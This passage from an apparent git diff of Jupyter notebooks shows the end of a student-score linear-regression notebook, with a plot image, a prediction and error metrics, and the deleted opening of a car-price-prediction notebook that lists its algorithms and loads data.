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", - "text/plain": [ - "
" - ] - }, - "metadata": { - "needs_background": "light" - }, - "output_type": "display_data" - } - ], - "source": [ - "plt.scatter(y_test,y_pred,c='r')\n", - "plt.plot(y_test,y_pred,c='g')\n", - "plt.xlabel(\"Prices\")\n", - "plt.ylabel(\"Predicted Score\")\n", - "plt.title(\"Score vs Predicted Score\")\n", - "plt.show()" - ] - }, - { - "cell_type": "markdown", - "metadata": {}, - "source": [ - "# What will be predicted score if a student studies for 9.25 hrs/ day?" - ] - }, - { - "cell_type": "markdown", - "metadata": {}, - "source": [ - "## Prediction through our model" - ] - }, - { - "cell_type": "code", - "execution_count": 25, - "metadata": {}, - "outputs": [ - { - "name": "stdout", - "output_type": "stream", - "text": [ - "No of Hours = [[9.25]]\n", - "Predicted Score = 92.14523314523314\n" - ] - } - ], - "source": [ - "Hours = np.array([[9.25]])\n", - "predict=regressor.predict(Hours)\n", - "print(\"No of Hours = {}\".format(Hours))\n", - "print(\"Predicted Score = {}\".format(predict[0]))" - ] - }, - { - "cell_type": "markdown", - "metadata": {}, - "source": [ - "# Checking accuracy of our model" - ] - }, - { - "cell_type": "code", - "execution_count": 26, - "metadata": {}, - "outputs": [ - { - "name": "stdout", - "output_type": "stream", - "text": [ - "Train : 95.01107277744313\n", - "Test : 95.5570080138813\n" - ] - } - ], - "source": [ - "print(\"Train : \",regressor.score(X_train,y_train)*100)\n", - "print(\"Test : \",regressor.score(X_test,y_test)*100)" - ] - }, - { - "cell_type": "markdown", - "metadata": {}, - "source": [ - "# Finding mean absolute error, r^2 score error and Mean Squared Error" - ] - }, - { - "cell_type": "code", - "execution_count": 27, - "metadata": {}, - "outputs": [ - { - "name": "stdout", - "output_type": "stream", - "text": [ - "Mean absolute error: 4.691397441397438\n", - "r^2 score error: 0.955570080138813\n", - "Mean squared error: 25.463280738222547\n" - ] - } - ], - "source": [ - "from sklearn import metrics \n", - "from sklearn.metrics import r2_score\n", - "from sklearn.metrics import mean_squared_error\n", - "print('Mean absolute error:', metrics.mean_absolute_error(y_test, regressor.predict(X_test))) \n", - "print('r^2 score error:',r2_score(y_test, regressor.predict(X_test)))\n", - "print('Mean squared error: ',mean_squared_error(y_test, regressor.predict(X_test)))" - ] - }, - { - "cell_type": "markdown", - "metadata": {}, - "source": [ - "### Mean absolute error: 4.691397441397446 which is quite accurate model for predicting the result" - ] - } - ], - "metadata": { - "kernelspec": { - "display_name": "Python 3", - "language": "python", - "name": "python3" - }, - "language_info": { - "codemirror_mode": { - "name": "ipython", - "version": 3 - }, - "file_extension": ".py", - "mimetype": "text/x-python", - "name": "python", - "nbconvert_exporter": "python", - "pygments_lexer": "ipython3", - "version": "3.7.6" - } - }, - "nbformat": 4, - "nbformat_minor": 4 -} diff --git a/Add Code Here/IPYNB/car_prices_prediction.ipynb b/Add Code Here/IPYNB/car_prices_prediction.ipynb deleted file mode 100644 index bb902c6e7ef..00000000000 --- a/Add Code Here/IPYNB/car_prices_prediction.ipynb +++ /dev/null @@ -1,6022 +0,0 @@ -{ - "cells": [ - { - "cell_type": "markdown", - "metadata": {}, - "source": [ - "# Car Price Prediction" - ] - }, - { - "cell_type": "markdown", - "metadata": {}, - "source": [ - "Here will be using the dataset test-data.csv and train-data.csv, and will use it to predict the car prices from the dataset.\n", - "\n", - "In Data analysis we will use 8 algorithms \n", - "\n", - "1.Logistic Regression\n", - "\n", - "2.Linear Regression\n", - "\n", - "3.Ridge Regression\n", - "\n", - "4.K Neighbors Classifier\n", - "\n", - "5.Lasso Regression\n", - "\n", - "6.Random Forest Classifier\n", - "\n", - "7.Decision Tree Classifier\n", - "\n", - "8.XGBoost Classifier\n", - "\n", - "By using the above algorithms, we will train our model by providing training data and once the model will be trained, we will perform prediction. After prediction, we will evaluate the performance of these algorithmns by error check and accuracy check." - ] - }, - { - "cell_type": "markdown", - "metadata": {}, - "source": [ - "### Steps been followed are as:\n", - "\n", - "Step 1:Data Exploration\n", - "\n", - "Step 2: Data Preparation\n", - "\n", - "Step 3: Data Visualization\n", - "\n", - "Step 4:Data training\n", - "\n", - "Step 5: Model Creation\n", - "\n", - "Step 6: Performance Evaluation" - ] - }, - { - "cell_type": "markdown", - "metadata": {}, - "source": [ - "## **Data Exploration**" - ] - }, - { - "cell_type": "code", - "execution_count": 71, - "metadata": {}, - "outputs": [], - "source": [ - "## import all the necessary libraries\n", - "import warnings\n", - "\n", - "#Ignoring unnecessory warnings\n", - "warnings.filterwarnings(\"ignore\") \n", - "\n", - "import numpy as np #for large and multi-dimensional arrays\n", - "import pandas as pd #for data manipulation and analysis\n", - "import nltk " - ] - }, - { - "cell_type": "code", - "execution_count": 72, - "metadata": {}, - "outputs": [ - { - "name": "stdout", - "output_type": "stream", - "text": [ - "(6019, 14)\n" - ] - }, - { - "data": { - "text/html": [ - "
\n", - "\n", - "\n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - "
